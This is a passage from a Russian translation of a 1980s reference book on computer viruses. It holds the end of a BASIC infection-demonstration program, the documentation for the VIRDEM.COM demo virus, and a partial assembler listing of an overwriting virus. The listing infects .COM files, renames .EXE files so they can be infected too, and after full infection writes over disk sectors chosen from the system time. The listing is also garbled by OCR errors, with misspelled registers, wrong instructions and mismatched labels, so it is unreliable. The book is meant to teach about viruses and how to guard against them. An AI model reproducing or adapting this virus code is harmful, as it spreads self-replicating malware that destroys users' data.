Жанр: Учеба
Большой справочник по компьютерным вирусам
... S1$+" 1-я часть "+S1$+"MOV "+S1$+" "+S9$+CHR(13)
3160 M2$=S1$+" MOV "+S1$
3170 M3$=S4$+S26$+S6$+S7$
3180 L4$=S9$+" "+S3$+S4$+S26$+S26$+S6$+S4$+S26$+S6$+S4$+S206$+S26$+
S26$+S4$+S106$+S6$+S4$+S26$+S7$+" "+S9$+CHR$(13)
3190 L5$=S9$+S2010$+S2010$+S1010$+S210$+S210$+S9$+CHR$(13)
3200 AW11$=L1$+L2$ :AW12$=L3$+L4$+L5$
3210 REM *** запуск демонстрационной программы ***
3220 LOCATE 1, 1:COLOR A1, B:PRINT TR1$
3230 LOCATE 1, 43:COLOR A3, B
3240 PRINT " ""== программа-носитель "
3250 GOSUB 4910
3260 LOCATE 7, 1:COLOR A1, B:PRINT AW1$;
3270 LOCATE 13,1:PRINT AW2$;
3280 GOSUB 4480
3290 LOCATE 3, 49:COLOR A2, B
3300 PRINT " поиск прикладной программы "
3310 LOCATE 1,1: COLOR A3, 1:PRINT TR1$
3320 GOSUB 4480
3330 LOCATE 3, 49:COLOR A2, B
3340 PRINT " прикладная программа найдена "
3350 LOCATE 9, 17:COLOR A3+16, B
3360 PRINT " 1-я прикладная программа "
3370 GOSUB 4480
3380 LOCATE 9, 17:COLOR A1, B
3390 PRINT " 1-я прикладная программа "
3400 LOCATE 9, 4:COLOR A4+16, B:PRINT "K"
3410 LOCATE 3, 49:COLOR A2, B
3420 PRINT " байт идентификатора существует? "
3430 LOCATE 4, 49:COLOR A2, B
3440 PRINT " нет==="" идентифицировать"
3450 GOSUB 4480
3460 LOCATE 3, 49:COLOR A2, B
3470 PRINT " выделить часть 1 "
3480 LOCATE 3, 49:COLOR A2, B
3490 PRINT " "
3500 LOCATE 8, 3:COLOR A4+16, B:PRINT X1$
- 161 -
3510 LOCATE 9, 3:COLOR A4+16, B:PRINT X2$
3520 LOCATE 10, 3:COLOR A4+16, B:PRINT X3$
3530 GOSUB 4480
3540 LOCATE 4, 49:COLOR A2, B
3550 PRINT " и размножить "
3560 GOSUB 4480
3570 LOCATE 7, 1:COLOR A1, B:PRINT ST21$;ST22$
3580 LOCATE 8, 3:COLOR A4, B:PRINT X1$
3590 LOCATE 9, 3:COLOR A4, B:PRINT X2$
3600 LOCATE 10, 3:COLOR A4, B:PRINT X3$
3610 LOCATE 8, 40:COLOR A4, B:PRINT Y1$
3620 LOCATE 9, 40:COLOR A4, B:PRINT Y2$
3630 LOCATE 10, 40:COLOR A4, B:PRINT Y3$
3640 GOSUB 4480
3650 LOCATE 3, 49:COLOR A2, B
3660 PRINT " добавить стандартную программу MOV "
3670 LOCATE 4, 49:COLOR A2, B
3680 PRINT " "
3690 LOCATE 2, 15:COLOR A4+16, B:PRINT M1$
3700 LOCATE 3, 15:COLOR A4+16, B:PRINT M2$
3710 LOCATE 4, 15:COLOR A4+16, B:PRINT M3$
3720 GOSUB 4480
3730 LOCATE 2, 15:COLOR A4, B:PRINT M1$
3740 LOCATE 3, 15:COLOR A4, B:PRINT M2$
3750 LOCATE 4, 15:COLOR A4, B:PRINT M3$
3760 LOCATE 7, 1:COLOR A1, B:PRINT MT21$;MT22$
3770 LOCATE 8, 52:COLOR A4, B:PRINT M1$
3780 LOCATE 9, 52:COLOR A4, B:PRINT M2$
3790 LOCATE 10,52:COLOR A4, B:PRINT M3$
3800 GOSUB 4480
3810 LOCATE 3, 49:COLOR A2, B
3820 PRINT " вирус скопирован на место "
3830 LOCATE 4, 49:COLOR A2, B
3840 PRINT " части 1 "
3850 LOCATE 2, 3:COLOR A4+16, B:PRINT V1$
3860 LOCATE 3, 3:COLOR A4+16, B:PRINT V2$
3870 LOCATE 4, 3:COLOR A4+16, B:PRINT V3$
3880 GOSUB 4480
3890 LOCATE 2, 3:COLOR A4, B:PRINT V1$
3900 LOCATE 3, 3:COLOR A4, B:PRINT V2$
3910 LOCATE 4, 3:COLOR A4, B:PRINT V3$
3920 LOCATE 8, 3:COLOR A4, B:PRINT V1$
3930 LOCATE 9, 3:COLOR A4, B:PRINT V2$
3940 LOCATE 10, 3:COLOR A4, B:PRINT V3$
3950 GOSUB 4480
3960 LOCATE 3, 49:COLOR A2, B
3970 PRINT " продолжить вместе с программой-носителем "
3980 LOCATE 4, 49:COLOR A2, B
3990 PRINT " "
4000 GOSUB 4480
4010 LOCATE 1,1/ COLOR A1, B:PRINT TR1$
4020 GOSUB 4480
4030 LOCATE 3, 49:COLOR A2, B
4040 PRINT " запуск инфицированной "
4050 LOCATE 4, 49:COLOR A2, B
4060 PRINT " программы "
4070 GOSUB 4480
4080 LOCATE 7, 1:COLOR A3, B:PRINT VI21$;VI22$
4090 GOSUB 4480
4100 LOCATE 3, 49:COLOR A2, B
4110 PRINT " в начале имеет место "
4120 LOCATE 4, 49:COLOR A2, B
4130 PRINT " распространение вируса "
4140 GOSUB 4480
4150 LOCATE 13, 1:COLOR A1, B:PRINT AW21$;AW22$
4160 LOCATE 3, 49:COLOR A2, B
4170 PRINT " выделяется скопированная "
4180 LOCATE 4, 49:COLOR A2, B
4190 PRINT " 1- часть "
4200 GOSUB 4480
4210 LOCATE 8, 40:COLOR A4+16, B:PRINT Y1$
4220 LOCATE 9, 40:COLOR A4+16, B:PRINT Y2$
4230 LOCATE 10,40:COLOR A4+15, B:PRINT Y3$
4240 GOSUB 4480
4250 LOCATE 3, 49:COLOR A2, B
4260 PRINT " выделяется и вновь копируется "
4270 LOCATE 4, 49:COLOR A2, B
4280 PRINT " скопированная 1-я часть "
4290 LOCATE 8, 3:COLOR A4, B:PRINT X1$
4300 LOCATE 9, 3:COLOR A4, B:PRINT X23$
4310 LOCATE 10, 3:COLOR A4, B:PRINT X3$
4320 LOCATE 8, 40:COLOR A4, B:PRINT Y1$
4330 LOCATE 9, 40:COLOR A4, B:PRINT Y2$
4340 LOCATE 10,40:COLOR A4, B:PRINT Y3$
4350 GOSUB 4480
4360 LOCATE 3, 49:COLOR A2, B
4370 PRINT " итак, программа вновь "
4380 LOCATE 4, 49:COLOR A2, B
4390 PRINT " в исходном состоянии и "
4400 LOCATE 5,49:COLOR A2, B
4410 PRINT " работает без ошибок "
4420 GOSUB 4480
4430 LOCATE 7, 1:COLOR A3, B:PRINT AW1$
4440 REM *** ENDE ***
4450 AUT$="1"
4460 GOSUB 4480
4470 GO TO 120
4480 IF AUT$="2" THEN RETURN
4490 IF INKEY$="" GO TO 4480
4500 RETURN
4510 REM *** основное меню ***
4520 COLOR A2, B:LOCATE 10,1
4530 PRINT " пошаговая демонстрация (1) "
4540 COLOR A2, B
4550 PRINT " демонстрация с автоматическим заданием шага (2) "
4560 COLOR A2, B
4570 PRINT " меню выбора цвета "
4580 COLOR A2, B
4590 PRINT " конец "
4600 GOSUB 4910
4610 AUT$=INKEY$
4620 IF AUT$="0" THEN SYSTEM
4630 IF AUT$"""1" AND AUT$"""2" AND AUT$"""9" GO TO 4610
4640 IF AUT$="9" THEN GO TO 4660
4650 RETURN
4660 CLS:COLOR A2, B: COLOR 4910
4670 COLOR A2, B
4680 PRINT " черный =0 голубой=1 зеленый=2 васильковый =3 ";
4690 PRINT " красный=4 цвета-железа=5 "
4700 COLOR A2, B
4710 PRINT " коричневый=6 белый=7 серый=8 светло-голубой=9 ";
4720 PRINT " светло-серый=1= светло-васильковый=11 "
4730 COLOR A2, B
4740 PRINT " розовый=12 кирпичный=13 желтый=14 ярко-белый=15 "
4750 PRINT :PRINT
4760 INPUT "цвет фона : "; B
4770 COLOR A1, B
4780 PRINT " фон "
4790 INPUT "основной цвет графического изображения :"; A1
4800 COLOR A1,B:PRINT " основной тон "
4810 INPUT " цвет комментария :"; A2:
4820 PRINT " комментарий"
4830 INPUT " выделение выполняемой программы :"; A3
4840 COLOR A3, B:PRINT " выделение 1"
4850 INPUT " выделение части, относящейся к вирусу :"; A4
4860 COLOR A4, B:PRINT " выделение 2"
4870 GOSUB 4480
4880 CLS
4890 REM *** большой демонстрационный пример ***
4900 GO TO 4520
4910 DATA &h43,&H6e,&H6e,&H76,&H6e,&H64,&H61,&H61
4920 DATA &H6c,&H17,&H58,&H6e,&H14,&H45,&H20,&H33
4930 DATA &h65,&H61,&H55,&H52,&H5e,&H0b,&H1b,&H22
4940 DATA &h20,&H1e,&H6,&H5,&H38,&H48,&H4e,&Hf
4950 DATA &h0,&Hf,&H13,&H16,&Hf,&Hd,&H9,&He
4960 DATA &he,&he,&H7
4970 RESTORE
4980 LOCATE 7,65
4990 FOR F=0 TO 12
5000 READ A:PRINT CHR$(A+F);
5010 NEXT
5020 LOCATE 8,65
5030 FOR F=13 TO 27
5040 READ A: PRINT CHR(A+F);
5050 NEXT
5060 LOCATE 9,65
5070 FOR F=28 TO 42
5080 READ A: PRINT CHR(A+F);
5090 NEXT
5100 RETURN
9.7 VIRDEM.COM
После конгресса по нарушениям коммуникаций прошедшего в
декабре 1987 года, в продажу поступила демонстрационная
программа- VIRDEM.COM. До сих пор вопросы защиты от компьютерных
вирусов обсуждались лишь в нескольких предписаниях-рекомендациях.
Естественно, существование демонстрационной программы
VIRDEM.COM не может быть обойдено молчанием и в этой книге. Потому
здесь будет приведена оригинальная документация на эту программу.
Исходные коды, к сожалению, нельзя опубликовывать, поскольку
с их помощью любой дилетант был бы в состоянии заменить задание
на выполнение манипуляций и получить в свое распоряжение
программу неперезаписывающего вируса на ассемблере 8088. Легко
представить себе, что в результате появились бы многочисленные
модифицированные (и очень опасные !) версии программ VIRDEM.COM.
Опросы заказчиков демонстрационной программы-вируса показывают,
что заказчики опасаются использовать дискету многократно из
боязни неконтролируемого распространения вирусов. Для того, чтобы
развеять эти опасения, приведем оригинальную документацию на
программу VIRDEM.COM. Здесь нет специальных, принятых в немецком
языке знаков, чтобы можно было получить распечатку на любом принтере:
"Записанная на этой дискете программа VIRDEM.COM является
программой для демонстрации так называемых "компьютерных
вирусов"". Пожалуйста, перед запуском программы непременно обратите
внимание на рекомендации по обращению с ", данными в этом
пояснительно тексте. В противном случае может произойти нежелательное
распространение "компьютерного вируса".
Программа VIRDEM.COM разработана для того, чтобы дать возможность
пользователям MS-DOS ознакомиться с компьютерными вирусами,
не подвергая их опасности неконтролируемого "размножения"
вирусов. Показывается насколько беспомощным может оказаться пользователь
ЭВМ перед лицом "компьютерных вирусов", если он не соблюдает
соответствующие меры предосторожности.
Программа VIRDEM.COM внедряет свой "компьютерный вирус"
только в программы, записанные на дисководе А. В результате удается
демонстрировать "заразные" свойства вирусных программ, не
подвергаясь опасности распространения "злокачественных" компьютерных
вирусов.
Программа VIRDEM.COM демонстрирует относительно безобидный
"вирус", который не разрушает программу-носитель вируса, а лишь
дописывает программой-вирусом исходные программные коды "носителя".
Потому соответстующей программе требуется больше места в
памяти. Вполне сознательно отказались от записи на демонстрационную
дискету "программы-вируса", разрешающей исходные программные
коды. Но безобидность программы VIRDEM.COM не мешает понять опасность,
которую несут в себе другие типы вирусов.
Задание на выполнение манипуляций, распространяемое "компьютерным
вирусом" VIRDEM.COM, является некоторой нормированной
игрой. Степень сложности такой игры зависит от "поколения вируса".
Легко увидеть, что вместо нормированной игры речь может идти
также об удалении из памяти или о выполнении определенной операции
с файлами.
Свойства программы VIRDEM.COM
1. Заражению вирусом подвергаются все СОМ-файлы вплоть до 2-го
подкаталога.
2. Первый СОМ-файл в корневом каталоге не подвергается зараже-
нию (чаще всего это файл COMMAND.COM).
3. СОМ-файл, имеющие длину более 1,5 Кбайт, расширяются пример-
но на 1,5 Кбайт, более короткие файлы - примерно на 3
Кбайта.
4. Зараженная программа остается работоспособной.
5. Зараженная программа помечается, а потому не может быть
заражена дважды.
6. Программа VIRDEM.COM включает в зараженную программу некото-
рую дополнительную функцию. Эта дополнительная функция явля-
ется нормированной игрой, степень сложности которой зависит
от поколения вируса.
7. Вирус VIRDEM.COM мутирует вплоть до 9-го поколения.После
того вирус продолжает размножаться, но мутаций более не
происходит.
О чем нужно помнить, экспериментируя с программой VIRDEM.COM
1. Обратите внимание, из чьих рук Вы получили программу
VIRDEM.COM. Ведь вполне возможно, что имеется одноименная
программа, дополненная весьма "заразным" и опасным заданием
на проведение каких-нибудь манипуляций. Потому изготовитель
высылает программу запечатанной. Форма опечатывания описана
в сопроводительном листе.
2. Работайте только с копией! Ни в коем случае не копируйте
"вирусы" или зараженные вирусом программы на винчестер,
поскольку в этом случае возникает опасность "непредусмотрен-
ного" заражения дискет, установленных на дисковод А. Получе-
нные для демонстрации дискеты пометьте и после демонстрации
сотрите или просто храните их отдельно.
3. Установите в дисковод А дискету с различными СОМ-файлами
(например, копию системной дискеты MS-DOS). Удалите защиту
записи.
4. Скопируйте программу VIRDEM.COM и вызовите программу или
запустите ее со второго дисковода. На экране появится следу-
ющее сообщение:
(Демонстрационная программа-вирус :1.01 (поколение
1) активна.
Автор Р.Бургер 1986,1987
Тел.:05932/5451)
Virdem Ver.1.01 (Generation 1) aktiv.
Copyrigth by R.Burger 1986, 1987
Tel.:05932/5451)
Теперь вторая программа, записанная в СОМ-файле главного
каталога, заражена вирусом.
5. Распечатайте каталог. Распечатка может выглядеть , например
так:
COMMAND COM 16597 5.12.86 17.59
ASSIGN COM 2616 7.03.85 10.36
CHKDSK COM 7058 7.03.85 10.54
COMP COM 2710 5.12.86 18.00
DEBUG COM 12361 19.09.86 11.16
DISKCOMP COM 2951 7.03.85 10.24
VIRDEM COM 1278 24.12.86 12.03
В этом случае инфицирована программа ASSIGN.COM (второй СОМ-
файл на А).
6. Запустите программу ASSIGN.COM. На экране появится следующее
сообщение:
Virdem Ver.1.01 (Generation 2) aktiv.
Copyrigth by R.Burger 1986, 1987
Tel.:05932/5451)
Dies ist ein Demoprogramm fuer (Это демонстрационная программа
Computerviren. Geben Sie nun компьютерных вирусов. Введите,
bitte eine Zahl ein. пожалуйста одно число. Если Вы
Wenn Sie richtig raten, ответите правильно, можно продоduerfen
Sie weiterarbeiten. лжать работу.
Due Zahl legt Zwischen Число лежит в интервале от 0
0 und 2 до 2)
Теперь нужно ввести число. Это число определяется поколением
вируса: т.е. для второго поколения лежит в интервале от 0 до 2.
Если число задано правильно, исходная прикладная программа обрабатывается,
если число задано неверно, на экране появится правильный
ответ, заключенный в угловые скобки (например, "I") и выполнение
программы прерывается. Но при запуске инфицированной программа
ASSIGN.COM вирус попадает уже в другую программу. В данном
случае инфицирована программа CHKDSK.COM.
Эта программа содержит теперь третье поколение вируса. В
результате степень сложности нормированной игры повышается. Каждая
инфицированная программа распространяет при запуске новый
вирус нового поколения. И так до тех пор, пока не будет достигнуто
поколение 9. Поколение 3 вируса генерирует новый вирус поколения
4, поколение 4 - поколение 5 и т.д.
7. Запускайте все программы до полного просмотра" всей демонст-
рационной дискеты. Затем на экране появится следующее сооб-
щение:
Alle Ihre Programme sind (Теперь все программы
nun durchseucht. заражены.)
Virdem Ver.1.01 (Generation x) aktiv.
Copyrigth by R.Burger 1986, 1987
Tel.:05932/5451)
Dies ist ein Programm fuer (Это программа
Computerviren. Geben Sie nun компьютерных вирусов. Введите,
bitte eine Zahl ein. пожалуйста некоторое число. Если Вы
Wenn Sie richtig raten, ответите правильно, Вы сможете
duerfen Sie weiterarbeiten. продолжить работу.
Due Zahl liegt Zwischen Число лежит в интервале от 0 до х)
0 und x
8. Уничтожьте после демонстрации демонстрационную дискету или
пометьте ее и храните отдельно, чтобы исключить случайный
доступ к ней. Лишь при тщательном соблюдении мер предосторо-
жности можно избежать неконтролируемого распространения виру-
са.
Прочие рекомендации
Для более быстрой демонстрации Вы можете в качестве псевдодиска
задать дисковод А. В этом случае после демонстрации Вам следует
стереть псевдодиск.
Еще раз напомним важнейшие правила работы с программой
VIRDEM.COM:
!!! Р а б о т а т ь т о л ь к о с к о п и е й !!!
!!! "Вирусы" или зараженные "вирусом" программы никогда !!!
!!! не копировать на жесткий диск (винчестер), поскольку !!!
!!! в этом случае возникает опасность неконтролируемого !!!
!!! заражения дисковода А. !!!
Если вы будете соблюдать эти основные правила , VIRDEM.COM
не может распространяться в Вашей ПЭВМ бесконтрольно.
Мы желаем Вам получить удовольствие от работы с VIRDEM.COM.
Если же у Вас и возникнут какие-либо проблемы, обратитесь к нам.
Более подробную информацию о "вирусах" и средствах защиты от
них Вы получите, обратившись по адресу:
Ralf Burger Раульф Бургер
Systemingenieur инженер-системотехник
Postfact 1105
D-4472 Haren
Tel.: 0 59 32/54 51
Создатели настоящей программы не несут ответственности за
тот ущерб, который может возникнуть при неаккуратной работе с
программой VIRDEM.COM.
10. Различные языки программирования, применяемые при
составлении программ-вирусов
Какие языки программирования целесообразно использовать при
написании программ-вирусов?..
На этот вопрос даже неопытный пользователь ответит однозначно:
"ассемблер". Этот ответ, несомненно, правилен, поскольку
благодаря машинному языку программа в состоянии обойти все меры
безопасности, обусловленные внутренними соглашениями операционной
системы и соответствующим программным обеспечением. Кроме того,
время, выполнения составленной на ассемблере программы-вируса
очень мало, поскольку время доступа к массовой памяти резко сокращается.
И все же программы-вирусы могут быть написаны и на
языках высокого уровня, что и будет продемонстрировано на следующих
страницах данной книги.
Приведенные ниже распечатки отлажены в среде VS-DOS 3.10 и
представляют собой работоспособные программы-вирусы, однако в
этой форме они не могут использоваться для выполнения каких-либо
манипуляций. Совершенно сознательно эти программы не стали снабжать
подпрограммами обработки ошибок, например, на случай полного
"заражения" системы, поскольку в противном случае недобросовестный
программист получил бы в свои руки средство для выполнения
весьма опасных манипуляций. Таким образом, с помощью программ,
распечатки которых приводятся, можно "привить" вирус системе, но
такая "инфекция" устраняется довольно быстро.
Для того, чтобы свести к минимуму риск нанесения ущерба
системе, повторим еще раз важнейшие правила безопасности при
работе с программами-вирусами:
РАБОТАТЬ ТОЛЬКО С КОПИЯМИ!
Исключить возможность доступа к "вирусам" или зараженным
вирусом программам случайных людей. После завершения работы все
записанные в ПЭВМ программы стереть.
Если при работе с "зараженными" программами следовать этим
правилам безопасности, опасность неконтролируемого распространения
вирусов исключается.
10.1 Вирусы на ассемблере
Поскольку машинный язык, как уже говорилось, наиболее удобен
для написания программ-вирусов, приведем вначале перезаписывающий
вирус, полностью написанный на ассемблере. Программа разрабатывалась
под управлением MS-DOS, версия 2.11, но может работать и с
другими версиями MS-DOS. Проблемы могут возникнуть лишь при задании
дисковода, но эти сложности легко устранить. Опытный читатель
сразу же заметит, что эта довольно короткая (около 500 байт)
программа-вирус может быть сделана еще более короткой, например,
за счет исключения ненужных вызовов сегмента. Может быть, такая
задача позабавит Вас в длинные зимние вечера.
page 70,1209
Name VIRUS
;****************************************************************
; Programm Virus Ver.1.1
; Cpyright by R.Burger 1986
; Dies ist ein Demoprogramm fuer Computerviren
; Es hat die Eigenschaft sich selbst zu
; vervielfaeltigen
; und dadurch andere Programme zu verandern
;****************************************************************
; программа-вирус версия 1.1
; Автор Р. Бургер, 1986
; Это программа для демонстрации компьютерных вирусов.
; Она обладает свойством самостоятельно размножаться и
; изменять тем самым другие программы
;****************************************************************
Code Segment
Assum CS:Code
progr equ 100h
ORG progr
;****************************************************************
; Три операции nop служат "вирусу" в качестве байта
; идентификатора, по которому можно определить "вне;
древние" вируса
;****************************************************************
MAIN:
nop
nop
nop
;*****************************************************************
; инициация указателя
;*****************************************************************
mov ax,00
mov ex:[pointer],ax
mov ex:[counter],ax
mov ex:[disks],ax
;*****************************************************************
; Запрос выбранного дисковода
;*****************************************************************
mov ax,19h ;drive? дисковод?
int 21h
;*****************************************************************
; Запрос актуального пути доступа к актуальному дисководу
;*****************************************************************
mov cs:drive,a1 ; сохранить дисковод
mov ah,47h ; dir каталог?
mov dh,0
add a1,1
mov d1,a1 ; на актуальный дисковод
lea si,cs:old_path
int 21h
;*****************************************************************
; Запрос числа имеющихся дисководов
; Если должен существовать лишь один дисковод, указатель
; последовательности доступа установить на searchorder+6
;*****************************************************************
mov ah,0eh ; имеется несколько дисков
mov d1,0 ;
int 21h
mov a1,01
cpm a1,01 ; один дисковод?
jns hups3
mov a1,06
hups3: mov ah,0
lea bx,search_order
add bx,ax
add bx,0001h
mov cs:pointer,bx
clc
;*****************************************************************
; Бит переноса устанавливается, если при поиске не найден ни
; один файл .СОМ. Затем, чтобы избежать ненужных затрат
; времени, файлы .ЕХЕ переименовываются в файлы .СОМ и "за;
ражаются" вирусом. При запуске большой инфицированной
; программы .ЕХЕ, выдается сообщение: "Программа требует
; слишком много места в оперативной памяти"
;*****************************************************************
change_disc:
jnc no_name_change ; перевод exe в в.com
mov ah,17h
lea dx,cs:maske_exe
int 21h
cmp a1,0ffh
jnz no_name_change ; .EXE found? фйал .exe найден?
;*****************************************************************
; Если не найдены файлы .COM и .EXE, перезаписываются область,
; сектор в зависимости от системного времени в mc. Это момент
; полного "заражения" запоминающей среды. Для "наступления"
; вируса участков больше нет и вирус начинает разрушительную
; работу.
;*****************************************************************
mov ah,2ch ; считать системное время
int 21h
mov bx,cs:pointer
mov a1,cs:[bx]
mov bx,dx
mov cx,2
mov dh,0
int 26h ; записать на диск
;*****************************************************************
; Проверить, достигнут ли конец таблицы последовательности
; диска. Если да, завершить программу.
;*****************************************************************
no_name_change:
mov bx,cs:pointer
dec bx
mov cs:pointer,bx
mov dl,cs:[bx]
cmp dl,0ffh
jnz hups2
jnz hops
;*****************************************************************
; Выбрать новый дисковод из таблицы последовательности
; поиска и зафиксировать этот выбор
;*****************************************************************
hips2:
mov ah,0eh
int 21h ; поиск диска
;*****************************************************************
; Сначала начать с основного каталога
;*****************************************************************
mov ah,3bh ; путь доступа
lea dx,path
int 21h
jmp find_first_file
;*****************************************************************
; Начиная с основного каталога, вести поиск по первому
; подкаталогу. До этого все файлы.EXE ы старом каталоге
; преобразовать в СОМ-файлы.
;*****************************************************************
find_first_subdir:
mov ah,17h ; перевод файлов .ехе в .сом
lea dx,cs:maske_exe
int 21h
mov ah,3bh ; использовать основной каталог
lea dx,path
int 21h
mov ah,04eh ; поиск по первому подкаталогу
mov cx,00010001b ; каталог mask
lea dx,maske_dir ;
int 21h ;
jc change_disk
mov bx,CS:counter
INC BX
DEC bx
jz use_next_subdir
;*****************************************************************
; Поиск по следующим подкаталогам. Если других подкаталогов не
; найдено, сменить дисковод.
;*****************************************************************
find_next_subdir:
mov ah,4fh ; поиск по следующему каталогу
int 21h
jc change_disk
dec bx
jnz find_next_subdir:
;*****************************************************************
; Выбрать найденный каталог
;*****************************************************************
use_next_subdir:
mov ah,2fh ; прочитать адрес dta
int 21h
add bx,1ch
mov es:[bx], '\' ; адрес имени в таблице dta
inc bx
push ds
mov ax,es
mov ds,ax
mov dx,bx
mov ah,3bh ; путь доступа
int 21h
pop ds
mov bx,cs:pcounter,bx
...Закладка в соц.сетях